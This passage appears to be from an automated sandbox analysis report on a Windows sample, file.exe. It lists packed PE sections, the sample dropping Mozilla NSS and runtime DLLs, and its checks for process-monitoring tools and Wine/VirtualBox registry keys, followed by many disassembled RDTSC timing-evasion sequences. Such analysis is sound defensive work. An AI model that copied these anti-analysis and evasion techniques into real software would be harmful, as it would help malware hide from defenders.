Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2511742254.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.360000.0.unpack :EW;.rsrc :W;.idata :W; :EW;zpcrkvoh:EW;pqiaosko:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;zpcrkvoh:EW;pqiaosko:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x20279f should be: 0x20f785

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zpcrkvoh
Source: file.exe	Static PE information: section name: pqiaosko
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB536 push ecx; ret

0_2_6C5DB549

Source: file.exe

Static PE information: section name: zpcrkvoh entropy: 7.953515529829794

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6055F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E314 second address: 64E327 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F2CCCC4BE16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E327 second address: 64E331 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E331 second address: 64DB1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push dword ptr [ebp+122D16CDh] 0x00000011 jng 00007F2CCCC4BE33h 0x00000017 or dword ptr [ebp+122D23B4h], edi 0x0000001d call dword ptr [ebp+122D17B4h] 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D3924h], edi 0x0000002a xor eax, eax 0x0000002c mov dword ptr [ebp+122D3924h], ecx 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 cmc 0x00000037 mov dword ptr [ebp+122D2AADh], eax 0x0000003d jmp 00007F2CCCC4BE1Ch 0x00000042 mov esi, 0000003Ch 0x00000047 pushad 0x00000048 mov dword ptr [ebp+122D3924h], eax 0x0000004e jmp 00007F2CCCC4BE28h 0x00000053 popad 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 pushad 0x00000059 mov eax, 4107BFB9h 0x0000005e jmp 00007F2CCCC4BE1Ah 0x00000063 popad 0x00000064 mov dword ptr [ebp+122D369Bh], edi 0x0000006a lodsw 0x0000006c mov dword ptr [ebp+122D3924h], ecx 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 sub dword ptr [ebp+122D3924h], edx 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 jmp 00007F2CCCC4BE28h 0x00000085 nop 0x00000086 pushad 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DB1D second address: 64DB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DB21 second address: 64DB2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F2CCCC4BE1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DB2F second address: 64DB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0514 second address: 7C0518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C065A second address: 7C06B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF0h 0x00000007 jmp 00007F2CCCD92DF0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f je 00007F2CCCD92DEEh 0x00000015 jnl 00007F2CCCD92DFBh 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007F2CCCD92DE6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C3E second address: 7C0C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2CCCC4BE16h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c jl 00007F2CCCC4BE16h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F2CCCC4BE16h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3A18 second address: 7C3A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F2CCCD92DF0h 0x0000000d push 00000000h 0x0000000f mov dx, ECAAh 0x00000013 call 00007F2CCCD92DE9h 0x00000018 jmp 00007F2CCCD92DF4h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F2CCCD92DF7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3A6D second address: 7C3ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e jng 00007F2CCCC4BE1Ch 0x00000014 jc 00007F2CCCC4BE16h 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F2CCCC4BE23h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push edx 0x00000027 jmp 00007F2CCCC4BE21h 0x0000002c pop edx 0x0000002d pop eax 0x0000002e mov ch, EDh 0x00000030 push 00000003h 0x00000032 mov dl, cl 0x00000034 push 00000000h 0x00000036 jg 00007F2CCCC4BE17h 0x0000003c push 00000003h 0x0000003e mov di, 3BBEh 0x00000042 push F16C2AD3h 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3BA6 second address: 7C3BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3BB7 second address: 7C3C58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, E8E5h 0x00000012 push 00000000h 0x00000014 mov cx, bx 0x00000017 push 26C25E70h 0x0000001c pushad 0x0000001d jmp 00007F2CCCC4BE26h 0x00000022 ja 00007F2CCCC4BE18h 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b xor dword ptr [esp], 26C25EF0h 0x00000032 jns 00007F2CCCC4BE1Ch 0x00000038 push 00000003h 0x0000003a cld 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007F2CCCC4BE18h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 mov dword ptr [ebp+122D3924h], edi 0x0000005d mov si, di 0x00000060 push 00000003h 0x00000062 or cx, A75Eh 0x00000067 push AE4AA8E5h 0x0000006c push eax 0x0000006d push edx 0x0000006e ja 00007F2CCCC4BE18h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3C58 second address: 7C3C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 11B5571Bh 0x00000010 mov di, 9B2Bh 0x00000014 lea ebx, dword ptr [ebp+124498E4h] 0x0000001a mov dword ptr [ebp+122D3695h], edi 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F2CCCD92DECh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3C91 second address: 7C3C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3DBC second address: 7C3DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38F1 second address: 7E38F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E181D second address: 7E1823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1823 second address: 7E1838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F2CCCC4BE16h 0x0000000f jne 00007F2CCCC4BE16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1983 second address: 7E19B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2CCCD92DF9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E19B8 second address: 7E1A0B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F2CCCC4BE20h 0x0000000d pushad 0x0000000e ja 00007F2CCCC4BE16h 0x00000014 jo 00007F2CCCC4BE16h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jng 00007F2CCCC4BE16h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F2CCCC4BE1Bh 0x0000002a jmp 00007F2CCCC4BE28h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1A0B second address: 7E1A15 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2CCCD92DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1DEC second address: 7E1DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1F3C second address: 7E1F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1F42 second address: 7E1F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F2CCCC4BE21h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1F5C second address: 7E1F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2CCCD92DF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E20D6 second address: 7E20F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2CCCC4BE16h 0x0000000a jg 00007F2CCCC4BE16h 0x00000010 popad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 js 00007F2CCCC4BE16h 0x0000001a js 00007F2CCCC4BE16h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E20F8 second address: 7E20FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E20FD second address: 7E2105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2105 second address: 7E2109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2109 second address: 7E210D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E210D second address: 7E2118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E223C second address: 7E2240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2240 second address: 7E2255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F2CCCD92DEBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2255 second address: 7E2262 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2262 second address: 7E226E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2CCCD92DE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E226E second address: 7E2283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2CCCC4BE1Ah 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2283 second address: 7E2292 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E23FD second address: 7E2412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F2CCCC4BE20h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2412 second address: 7E242B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E242B second address: 7E242F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2844 second address: 7E285C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2CCCD92DE6h 0x0000000a jmp 00007F2CCCD92DEEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A269E second address: 7A26A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26A2 second address: 7A26B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2CCCD92DE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26B1 second address: 7A26C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCC4BE1Dh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26C3 second address: 7A26CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F2CCCD92DE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26CF second address: 7A2714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE1Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F2CCCC4BE18h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jnp 00007F2CCCC4BE42h 0x00000019 push esi 0x0000001a jmp 00007F2CCCC4BE28h 0x0000001f pop esi 0x00000020 pushad 0x00000021 jnl 00007F2CCCC4BE16h 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2AB1 second address: 7E2AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2AB5 second address: 7E2AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2CCCC4BE29h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 je 00007F2CCCC4BE16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E33B2 second address: 7E33BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E33BA second address: 7E33C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3516 second address: 7E3524 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3524 second address: 7E352C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E379D second address: 7E37A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37A1 second address: 7E37AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6595 second address: 7E659A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6BA5 second address: 7E6BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6D17 second address: 7E6D21 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2CCCD92DECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
